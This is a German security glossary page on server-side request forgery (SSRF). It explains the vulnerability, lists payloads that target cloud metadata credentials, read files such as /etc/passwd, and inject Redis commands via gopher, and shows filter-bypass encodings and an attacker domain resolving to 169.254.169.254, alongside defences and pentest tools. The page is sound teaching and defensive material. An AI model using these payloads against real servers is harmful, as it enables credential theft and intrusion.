Zum Inhalt springen

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Web-Sicherheit Glossar

SSRF - Server-Side Request Forgery

Server-Side Request Forgery (SSRF) ist eine Schwachstelle bei der ein Angreifer den Server zwingt HTTP-Anfragen an interne oder externe Ressourcen zu senden die er direkt nicht erreichen kann. Über SSRF können Cloud-Metadaten-APIs (AWS IMDSv1: 169.254.169.254), interne Microservices, Datenbanken und Admin-Interfaces angegriffen werden. SSRF ist auf Platz 10 der OWASP Top 10 2021 (A10:2021) und ein häufiger Angriffsvektor in Cloud-Umgebungen.

SSRF verwandelt einen Server zum Proxy für Angreifer - und wird gefährlicher je mehr Cloud-Services hinter dem Server laufen. In AWS kann eine SSRF-Lücke zur vollständigen Kompromittierung der gesamten AWS-Infrastruktur führen wenn der EC2 Instance Metadata Service (IMDS) ohne IMDSv2 konfiguriert ist. Capital One verlor 2019 über 100 Millionen Kundendatensätze durch eine SSRF-Schwachstelle in einem WAF - eine der teuersten SSRF-Attacken der Geschichte.

SSRF Grundprinzip

Normaler Request-Flow:

Browser → Web-App (example.com/fetch?url=https://legitime-seite.de) → legitime-seite.de → Antwort an Browser

SSRF-Angriff:

Angreifer → Web-App (example.com/fetch?url=http://169.254.169.254/latest/meta-data/) → AWS IMDS (interner Service, nicht extern erreichbar!) → Antwort mit IAM Credentials an Angreifer!

Warum funktioniert das?

  • Server vertraut sich selbst mehr als externen Clients
  • Server hat Zugang zu internen Netzwerken (localhost, 10.x, 172.16.x)
  • Cloud-IMDS ist für EC2-Instance erreichbar, nicht für externe
  • Firewalls schützen extern → intern ist oft “trusted”

Typische SSRF-Parameter in Web-Apps:

url=, uri=, path=, src=, dest=, image=, href=, redirect=, target=, continue=, proxy=, return=, feed=, open=, file=, callback=, webhook=, next=, data=, window=, to=, out=

SSRF gegen Cloud-Metadaten

AWS IMDSv1 (gefährlich! - kein Token erforderlich)

GET http://169.254.169.254/latest/meta-data/
→ liste verfügbare Metadaten

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ findet den IAM-Rollennamen
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Role
→ gibt TEMPORÄRE AWS CREDENTIALS zurück!
{
  "Code" : "Success",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA...",
  "SecretAccessKey" : "abc123...",
  "Token" : "FQoGZXIvYXd...",
  "Expiration" : "2026-03-04T12:00:00Z"
}
→ Angreifer kann als EC2-Rolle agieren!

AWS IMDSv2 (geschützt - Token erforderlich)

# Erst Token holen (PUT Request - Browser kann kein PUT direkt senden):
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
→ Token wird zurückgegeben

# Dann Metadaten mit Token abrufen:
GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token: <token>

# SSRF-Schutz: Angreifer kann Token nicht einfach generieren!
# (Erfordert direkte Netzwerkverbindung zur Instance)

GCP (Google Cloud) Metadata Server

GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Header: Metadata-Flavor: Google
→ OAuth Token für GCP-Services

Azure IMDS

GET http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true
→ Instanz-Informationen, verwaltete Identitäts-Token

Andere interne Ziele

http://localhost/admin              → lokale Admin-Interfaces
http://10.0.0.1/                   → interne Server
http://172.16.0.1/                 → Management-Interfaces
http://192.168.1.1/                → Router/Switches
http://elasticsearch:9200/_cat/indices  → Elasticsearch-Daten
http://redis:6379/                 → Redis (über gopher://)
dict://redis:6379/KEYS *           → Redis SSRF via DICT

SSRF Typen

Basic SSRF (direkte Antwort)

  • Server sendet Request und gibt Antwort zurück
  • Angreifer sieht direkten Response
  • Erkennbar durch: URL-Parameter der externe Ressourcen lädt

Blind SSRF (keine direkte Antwort)

  • Server macht Request, gibt aber keine Antwort zurück
  • Nur Seiteneffekte erkennbar (DNS-Lookup, Timing, Error-Messages)
  • Nachweis: eigenen Server als Target nutzen (Burp Collaborator, interactsh)
# Nachweis mit Burp Collaborator:
fetch?url=http://xyz.burpcollaborator.net/ssrf-test
# → Wenn Collaborator DNS-Anfrage empfängt: Blind SSRF bestätigt!

# Open-Source Alternative: interactsh
fetch?url=http://UNIQUE_ID.oast.fun/test
# → interactsh-client registriert den Inbound-Request

SSRF via Redirect

# Angreifer-Server redirected zu internem Ziel:
GET /redirect → HTTP 302 Location: http://169.254.169.254/latest/meta-data/
# → Wenn App Redirects folgt: SSRF via offene Redirect-Kette

SSRF via DNS Rebinding

# 1. Schritt: DNS für attacker.com gibt öffentliche IP zurück (besteht SSRF-Filter)
# 2. Schritt: App macht zweiten Request - DNS gibt jetzt 169.254.169.254 zurück!
# → Time-of-Check-Time-of-Use Angriff

File URI SSRF

fetch?url=file:///etc/passwd          → lokale Dateien lesen
fetch?url=file:///proc/self/environ   → Umgebungsvariablen (API Keys!)

SSRF via verschiedene Protokolle

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0a  → Redis Command Injection
dict://127.0.0.1:6379/AUTH:password        → Redis Auth bypass
ftp://127.0.0.1:21/                        → FTP-Server intern
ldap://127.0.0.1:389/                      → LDAP-Server intern

SSRF-Umgehung von Filtern

IP-Adress-Filter umgehen

MethodeBeispiel
Oktal-Notation169.254.169.2540251.0376.0251.0376
Hexadezimal169.254.169.2540xa9fea9fe
Dezimal (Long Integer)169.254.169.2542852039166
Mixed Notationhttp://0177.0.0x01/127.0.0.1
IPv6 loopbackhttp://[::1]/admin

DNS-Auflösung zu internen IPs

http://169.254.169.254.nip.io/   → resolves zu 169.254.169.254
http://localtest.me/              → resolves zu 127.0.0.1

Domain mit internem A-Record

# Eigene Domain registrieren mit A-Record auf 169.254.169.254
http://evil.attacker.com/meta  → resolves zu 169.254.169.254

URL-Encoding und Path Traversal

http://127.0.0.1/ → http://127%2e0%2e0%2e1/
http://127.0.0.1/admin → http://127.0.0.1/%61dmin
http://legitime-site.de@169.254.169.254/  → Authority-Parsing-Unterschied
http://169.254.169.254#legitime-site.de

SSRF-Schutzmaßnahmen

1. Allowlist statt Blocklist

# NICHT: Blocklist von IPs/Domains (zu leicht zu umgehen!)
# GUT: Allowlist von erlaubten Zielen

ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com']

def safe_fetch(url: str) -> str:
    parsed = urllib.parse.urlparse(url)
    if parsed.hostname not in ALLOWED_DOMAINS:
        raise ValueError(f"Domain {parsed.hostname} nicht erlaubt")
    if parsed.scheme not in ['http', 'https']:
        raise ValueError("Nur HTTP/HTTPS erlaubt")
    response = requests.get(url, timeout=5, allow_redirects=False)
    return response.text

2. Redirect-Folgen deaktivieren

# Python requests: allow_redirects=False
# Node.js: redirect: 'manual' in fetch
# → Verhindert SSRF via Redirect-Chains

3. DNS-Auflösung nach Allowlist prüfen

# NICHT nur Hostname prüfen - nach DNS-Auflösung IP prüfen!
import socket
ip = socket.gethostbyname(parsed.hostname)
if ipaddress.ip_address(ip).is_private:
    raise ValueError("Private IP nicht erlaubt!")

4. Network-Ebene Schutz

# AWS IMDSv2 erzwingen (Token-basiert):
aws ec2 modify-instance-metadata-options \
  --instance-id i-xxx \
  --http-tokens required \   # IMDSv2 erzwingen!
  --http-endpoint enabled

# Instance Metadata komplett deaktivieren wenn nicht benötigt:
aws ec2 modify-instance-metadata-options \
  --instance-id i-xxx \
  --http-endpoint disabled
# Network Policy: ausgehende Verbindungen von App-Containern:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
spec:
  podSelector:
    matchLabels:
      app: web
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.0.0/16    # AWS IMDS blockieren
        - 10.0.0.0/8        # interne Netzwerke blockieren
        - 172.16.0.0/12
        - 192.168.0.0/16

5. Webhook-Validation

def validate_webhook_url(url: str) -> bool:
    """DNS-Pre-Check + Async-Validation"""
    parsed = urllib.parse.urlparse(url)
    # 1. Keine Private IPs
    try:
        ip = socket.gethostbyname(parsed.hostname)
        if ipaddress.ip_address(ip).is_private:
            return False
    except socket.gaierror:
        return False
    # 2. Nur HTTPS für externe Webhooks
    return parsed.scheme == 'https'

SSRF-Testing im Pentest

Burp Suite Pro

  • Burp Collaborator: Out-of-band Nachweis für Blind SSRF
  • Burp Scanner: automatische SSRF-Erkennung
  • Passive Scan: erkennt potenzielle SSRF-Parameter

interactsh (Open Source)

# Server starten:
interactsh-server -domain oast.fun -ip 1.2.3.4

# Client nutzen:
interactsh-client
> USE xyz.oast.fun  # Unique ID generieren

# Im Test:
fetch?url=http://xyz.oast.fun/ssrf-test
# → Client zeigt eingehende Anfrage: IP, Headers, Payload

Nuclei SSRF Templates

nuclei -t nuclei-templates/vulnerabilities/ssrf/ -u https://target.com
# → Automatisierte SSRF-Erkennung mit DNS-Callback

SSRF-Payloads testen

# Cloud Metadata:
fetch?url=http://169.254.169.254/latest/meta-data/
fetch?url=http://metadata.google.internal/
fetch?url=http://169.254.169.254/metadata/instance

# Blind SSRF mit Timing:
fetch?url=http://10.0.0.1:22/  → SSH-Port (langsame Antwort = Port offen?)
fetch?url=http://10.0.0.1:80/  → HTTP-Port

# Out-of-Band (DNS):
fetch?url=http://COLLABORATOR.burpcollaborator.net/

Cookielose Analyse via Matomo (selbst gehostet, kein Tracking-Cookie). Datenschutzerklärung